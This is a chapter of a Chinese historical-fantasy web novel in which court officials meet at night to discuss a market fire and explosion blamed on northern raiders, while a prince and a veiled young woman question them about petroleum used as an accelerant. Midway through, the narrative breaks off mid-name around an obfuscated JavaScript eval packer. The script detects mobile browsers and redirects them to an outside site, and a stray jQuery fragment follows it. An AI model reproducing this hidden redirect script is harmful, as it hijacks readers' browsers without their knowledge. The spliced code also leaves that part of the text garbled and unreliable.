三更梆子已敲过了，皇城内殿庭巍峨林列，不少馆司还在燃灯宿直。


    远远望去，几点如豆般的火光稀稀拉拉，勉强照出都省一排青墙的形，像只匍匐沉睡、悄无声息的饕兽。


    自承天门侧往左数，分别是吏户礼、兵刑工六部阁，如今只工、户二阁尚留灯烛，予掌固们达旦批算公文。


    先前奏建两坊一市的正是这二部长官，如今市毁，重建是必然要走的章程，以是各司都分秒必争，俟上头一声令下，即能在最短的时间内给出卷札。


    除此之外，小吏们还得配合调查爆炸案始末，半月来夙夜在公，焦眉苦脸已成常态。


    工部阁中今夜聚了不少人，连左卫府值守的郎将亦来凑热闹。


    青袍主事手执短毫笔，在密细如蝇的楷字中竖着划去一道，倏地乐道：“成日对着这簿册度支筹算，竟当真脑昏眼饧，同样的工本计了两回。”


    “长羡明算科出身，入我工部亦有些年头，还能有你算错的仓簿？”


    一旁浅绯官衫之人弃了黏土，凑前来发科打诨。


    他不过而立的年纪，却不效同岁朝官蓄须，开春新升了从五品郎中，在工部左右逢源，姓晏，单名淮，字成愉，原是这温恪温主事的直管上司。


    温恪道：“连轴算它整十日，换谁来都一样的。坊市折损再建，是笔不小的开支，下官可不敢算岔了，届时再生事端。


    早先五年，规算元康市时，就因上报用度靡费，遭户房几位大人好一顿驳斥。那思游原是什么地方？半山上圈出块还算平整的川地，路是顺地势修上去的，建材是照圣后要求检点盘算的。


    就是圣人过目，那都未曾截下这案札，御史台竟倒打一耙，说咱们冬官欲中饱私囊，面子功夫都懒怠做。”


    晏淮啧啧叹道：“我记得，当年领头上谏的，是殿中侍御史孟知遂，对不对？他算我同窗，平日里爱捕风捉影告小状，在六宬学宫时就很讨人嫌。


    但他脑子灵，若非廉正不阿，嘴巴淬毒似的，又怎会为官十数载，仍只是个七品侍御史呢。”


    “你说的不错，指不定他下旬听户部再议，又要复循前辙，参冬官一本呢。”温恪放下笔，笑眯眯回道。


    边上翻市署图设的绯袍公子“哎哎”几声，“霜台那帮人就这德行，像芙蓉池畔养的王.八，但凡咬住了一片衣角，都非得把人往池底拽，你俩少给户部扣帽子。”


    温恪笑而不语，晏淮却不怕得罪他。


    这和稀泥之人名茂行，是中书侍郎张相公家幼子，在户部挂了个六品职事，任金部员外郎，却实在是个草包料，没添乱就算不错的。


    孟晔彼时并不赞成造市，因大阳城中户等杂冗，以财富多寡、身份职位划分九等①，其中下等民户占了将近半数，这类庶民却总如流水一般迭替，没个定法。


    按《晟律疏议》中的律令要求，迁住坊郭满三月后，即可向县廨递交手实，自第四月起才正式按例交税，以是许多大阳邻县的工商户会钻这空子。


    他们所交税钱仍挂在原籍，供给州府的一份，而每至对应行当的旺季，则易名易容，独身往大阳贸售，期满三月后，外称铺面蒙受不赀之损，赔点违契罚金，便可退房返乡了。


    却不想此举一推二、二推三，长此以往，反而导致东西南三市的税基不稳，许多租庸收不上来。


    大晟近年国库不阜，然禁中一应用度却丝毫未减，再建个富市，试图从商会处收紧，亦是治标不治本。


    上等富户意思意思，掏点小钱投业本没什么所谓，想他们为朝廷出纳灾祸赔款，却是不大可能了。


    户部尚书嵇荃并非不知其间道理，可没有比这个法子更好、更快的名目，征敛钱贯维持基本，在当年是势在必行。


    春秋税法尚在提案中，城中大多数商贵都持反对意见，落定还不知要等到猴年马月。


    御史台的弹劾，无论放在五年前，或今日，都是对的。


    晏淮道：“你是户部的人，自然希望麻烦离自己远些咯。能闹点动静出来，越大越好，等二圣回过头觉得奢费，想怪罪亦无由了，花出去的子儿，毕竟如覆水难收。


    不过这恶月里，也真是怪运，三伏天都吹起西北风来，还倒帮了澜人一把。”


    “谁说不是？上元时，我路过景龙观，卜了一卦，你们猜怎么——天山遁，道是不日将有官非之灾，我那时怎么没信呢……你们真该给我评评理，獠澜造下的孽，却轮到我这把老骨头来担。


    哼，反正我受够了，在那九成宫里，我天天把脑袋掖裤腰带上，走了也好。”前庭燎司令杨俭吹胡子瞪眼，愤疾说道。


    这场烟爆确实来得也不太是时候。


    庭燎司内本就因炼丹诸事挨过几趟催，恨不得日夜相继、轮番烧造，炉鼎的烟囱就没停过，偏又飞来横祸，被今上掎契拿靶，成了名副其实的出气洞。


    晏淮乐不可支，他乔居崇业坊前，还上景龙观看过风水，大师掐指一算，他就是个富贵命，官运亨通。


    “得了，杨公谨，你一白衣道家，会点火硝之术成了天家僚佐，八辈子修来的际会，当初可不是这么说的。要不是殿下捞人，你如今指不定在哪个狱中遭罪呢。”


    温恪慢悠悠道：“晏郎中这话提醒我了。市火沿着义仓、市署、平准署一路往南烧，可不是刮西北风么，把东边两坊也都燎了。”


    一干人等还唏嘘不已，就见阮袭瓖自外阁步入，他身后跟着戴短纱帷帽、拢狸氅胡服的少女。


    武将们本澹坐一桌，取了几壶清醪，对斟未语，光顾着听各司部的龃龉政闻，骤出现个五尺女娃，皆面面相觑好几息，终于意识到并非虚景。


    一屋子十数人当机立断，起身行了礼，齐齐道：“殿下。”


    阮袭瓖轻挥手，坐到沙盘前，右金吾卫大将军郎允宁朝他叉手，目扫兰惜。


    “殿下，这位是……”


    兰惜微一俯身，向诸君见礼。


    阮袭瓖替她开口，“尔等只需唤女公子，旁的不必知晓。方才在外面，隐约听见你们聊到市火了，再说说罢。”


    堂内人心知肚明，市火境况是说给这位女公子听的，一时倒都踌躇着要不要当出头鸟。


    原本沸反盈天的内庑，倏忽静得仅剩吸气声。


    兰惜从右至左看了一圈众人，目光在角落二人身上凝了两刻，又淡然挪开了，最终停在赤黄交间的康市沙盘中。


    因坐在最边上一排，斐徵瞧众人眼观鼻鼻观心，偷偷附至小翊卫耳畔，道出心中疑惑。


    “你觉没觉着，这女娃有些眼熟……”


    “是有些。”


    金吾翊卫面容清秀，正是日前斐徵同屠郎将闲叙时，所谓的挚交，正名郦拂音。


    拂音祖籍就在大阳，父亲郦遮任光禄寺卿，年过三十才娶了阮氏宗女，而一朝中年得子，此子却身体不太好。


    七岁时就随母亲往南都，寄住在刺史府养病，前年才返大阳。


    两人如今同属南卫府，都不过十七岁，心性正是不定的时候，只顾窃窃私语，好奇起兰惜的身份与真容。


    阮袭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486345|184898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瓖不动声色听完这二人咬耳朵，给了晏五一个眼刀子。


    晏淮登时清嗓，向兰惜说道起来，他亦不明兰惜对市火知晓多少，只是尽量简单地概述，陈清漆脂之用、市火之向、烟爆之状。


    “方才正说到……这市火长了眼似的，只往东边去，三伏天里刮西北风，莫名其妙。”


    阮袭瓖目无波澜，“初入伏就热得像上灶的蒸屉，北庭有意拿漆脂点火，这个时机再合适不过。”


    晏淮道：“是这么个理。端阳赛舟时，将近一半市民都在惠渠畔观赛，没能去到河边的人，亦寻市内高处远眺，掉以轻心是惯常思维了。


    再者，市南本就繁华些，平准署一炸，少说死伤数千人，祸因不明，便无法确定究竟是澜人有意设陷阱，还是当真为巧合。”


    兰惜几步走至桌几侧，夹了温恪的笔，改写行书，以防有人认出她的字迹。


    “此事是澜人主使？”


    晏淮点头回道：“据市北出入的商民所述，三月里就有魁梧之士常出入邸府，肩比山丘，腿似梁柱，绝非晟人身形。


    打更老儿同街使说，他有回见到此人夜出，不意间打过一次照面——此人的眼睛是紫色的，必是澜獠。”


    这个话倒也说得过去，北庭本就是苦寒之地，倾尽五族之财，甚至都没有大晟每年国帑的一半多，能强撑着打了两年，已属强弩之末。


    去年孟冬，最后迎战的是硕善部群，世子一箭射出，正中汗血马上恪若俄大君的肩头，他栽入漫天的浮雪里，也为这场久耗之役画上了停战的一笔。


    他们专门挑了端阳盛节，寻衅滋事，闹出这么大动静，为报两年前的一箭之仇，蠢是蠢了点，倒亦在情理之中。


    温恪接道：“漆脂只在义仓一列坊内有遗留，按当时火光烛天、秽气连云的景象，数量定然是不小的。


    他们是如何神不知鬼不觉，将那些漆脂运入市的？又是如何避过官衙巡检，完成三处漆脂的布置？若北庭意在毁市，为何只在这三间小坊点火？”


    厅堂内再次陷入死寂，兰惜又写道：“漆脂一物，从何可得？”


    阮袭瓖自知来历，再无旁人能细细分辩，以是趁着人齐，向诸君一并解释了。


    “云梦城南有山，石出泉水，其水肥如肉汁，浮上如漆，取著器中，始黄后黑，如凝膏，燃之极明，彼方人谓之漆脂水②。


    这是《云梦郡录》中的记载，曾听西华走商提过，泰州、屯州亦有此物。一则，油性之物，可以膏车。二则，漆脂燃后有熏烟，色浓如黛，可以制墨。但这都不是漆脂最主要的用途。


    因照席奇明如蜡，在云梦城中，高官富商皆以此替烛，可达三倍功效。唯一的缺点，此物采取有限，竭而无源，无法进行大容量的鬻卖。”


    兰惜一抿唇，所谓漆脂竟是石油，又写，“殿下以为，多少漆脂足以隳义仓、市署、平准署？”


    他摊掌，五指立起来，然后同她对视，极为意外地勾了唇角。


    其中深意不难摸索，五十斤不够起那么大火，也就是说，不论北庭人手中的这些漆脂从何而来，他们切切实实设法弄来了，而且至少有几百斤。


    这火的蹊跷恐不止于此，兰惜心道：“放个火也整出这么多门道，北庭人比意料之中聪明太多，他们又岂会蠢到惹恼晟朝皇帝呢……”


    正当时，外间奔入一肩绣对鹿的校尉，他压低声，跪在阮袭瓖身侧，捧上一纸画像。


    “殿下，丹青师送呈，所有见过澜人的康民，已尽皆核对过了，画中神韵极像。”